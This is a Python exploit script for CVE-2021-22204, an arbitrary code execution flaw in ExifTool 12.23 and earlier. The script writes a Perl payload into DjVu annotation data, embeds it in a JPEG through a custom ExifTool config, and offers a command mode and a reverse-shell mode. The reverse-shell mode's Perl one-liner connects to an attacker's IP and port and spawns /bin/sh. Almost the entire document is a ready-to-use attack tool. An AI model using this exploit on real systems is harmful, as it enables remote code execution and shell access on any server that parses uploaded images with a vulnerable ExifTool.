# Exploit Title: ExifTool 12.23 - Arbitrary Code Execution
# Date: 04/30/2022
# Exploit Author: UNICORD (NicPWNs & Dev-Yeoj)
# Vendor Homepage: https://exiftool.org/
# Software Link: https://github.com/exiftool/exiftool/archive/refs/tags/12.23.zip
# Version: 7.44-12.23
# Tested on: ExifTool 12.23 (Debian)
# CVE: CVE-2021-22204
# Source: https://github.com/UNICORDev/exploit-CVE-2021-22204
# Description: Improper neutralization of user data in the DjVu file format in ExifTool versions 7.44 and up allows arbitrary code execution when parsing the malicious image
#!/usr/bin/env python3
# Imports
import base64
import os
import subprocess
import sys
# Class for colors
class color:
red = '\033[91m'
gold = '\033[93m'
blue = '\033[36m'
green = '\033[92m'
no = '\033[0m'
# Print UNICORD ASCII Art
def UNICORD_ASCII():
print(rf"""
{color.red} _ __,~~~{color.gold}/{color.red}_{color.no} {color.blue}__ ___ _______________ ___ ___{color.no}
{color.red} ,~~`( )_( )-\| {color.blue}/ / / / |/ / _/ ___/ __ \/ _ \/ _ \{color.no}
{color.red} |/| `--. {color.blue}/ /_/ / // // /__/ /_/ / , _/ // /{color.no}
{color.green}_V__v___{color.red}!{color.green}_{color.red}!{color.green}__{color.red}!{color.green}_____V____{color.blue}\____/_/|_/___/\___/\____/_/|_/____/{color.green}....{color.no}
""")
# Print exploit help menu
def help():
print(r"""UNICORD Exploit for CVE-2021-22204
Usage:
python3 exploit-CVE-2021-22204.py -c <command>
python3 exploit-CVE-2021-22204.py -s <local-IP> <local-port>
python3 exploit-CVE-2021-22204.py -c <command> [-i <image.jpg>]
python3 exploit-CVE-2021-22204.py -s <local-IP> <local-port> [-i <image.jpg>]
python3 exploit-CVE-2021-22204.py -h
Options:
-c Custom command mode. Provide command to execute.
-s Reverse shell mode. Provide local IP and port.
-i Path to custom JPEG image. (Optional)
-h Show this help menu.
""")
# Run the exploit
def exploit(command):
UNICORD_ASCII()
# Create perl payload
payload = "(metadata \"\c${"
payload += command
payload += "};\")"
print(f"{color.red}RUNNING: {color.blue}UNICORD Exploit for CVE-2021-22204{color.no}")
print(f"{color.red}PAYLOAD: {color.gold}" + payload + f"{color.no}")
# Write payload to file
payloadFile = open('payload','w')
payloadFile.write(payload)
payloadFile.close()
# Bzz compress file
subprocess.run(['bzz', 'payload', 'payload.bzz'])
# Run djvumake
subprocess.run(['djvumake', 'exploit.djvu', "INFO=1,1", 'BGjp=/dev/null', 'ANTz=payload.bzz'])
if '-i' in sys.argv:
imagePath = sys.argv[sys.argv.index('-i') + 1]
subprocess.run(['cp',f'{imagePath}','./image.jpg','-n'])
else:
# Smallest possible JPEG
image = b"/9j/4AAQSkZJRgABAQEASABIAAD/2wBDAAMCAgICAgMCAgIDAwMDBAYEBAQEBAgGBgUGCQgKCgkICQkKDA8MCgsOCwkJDRENDg8QEBEQCgwSExIQEw8QEBD/yQALCAABAAEBAREA/8wABgAQEAX/2gAIAQEAAD8A0s8g/9k="
# Write smallest possible JPEG image to file
with open("image.jpg", "wb") as img:
img.write(base64.decodebytes(image))
# Write exiftool config to file
config = (r"""
%Image::ExifTool::UserDefined = (
'Image::ExifTool::Exif::Main' => {
0xc51b => {
Name => 'HasselbladExif',
Writable => 'string',
WriteGroup => 'IFD0',
},
},
);
1; #end
""")
configFile = open('exiftool.config','w')
configFile.write(config)
configFile.close()
# Exiftool config for output image
subprocess.run(['exiftool','-config','exiftool.config','-HasselbladExif<=exploit.djvu','image.jpg','-overwrite_original_in_place','-q'])
# Delete leftover files
os.remove("payload")
os.remove("payload.bzz")
os.remove("exploit.djvu")
os.remove("exiftool.config")
# Print results
print(f"{color.red}RUNTIME: {color.green}DONE - Exploit image written to 'image.jpg'{color.no}\n")
exit()
if __name__ == "__main__":
args = ['-h','-c','-s','-i']
if args[0] in sys.argv:
help()
elif args[1] in sys.argv and not args[2] in sys.argv:
exec = sys.argv[sys.argv.index(args[1]) + 1]
command = f"system(\'{exec}\')"
exploit(command)
elif args[2] in sys.argv and not args[1] in sys.argv:
localIP = sys.argv[sys.argv.index(args[2]) + 1]
localPort = sys.argv[sys.argv.index(args[2]) + 2]
command = f"use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));if(connect(S,sockaddr_in({localPort},inet_aton('{localIP}')))){{open(STDIN,'>&S');open(STDOUT,'>&S');open(STDERR,'>&S');exec('/bin/sh -i');}};"
exploit(command)
else:
help()
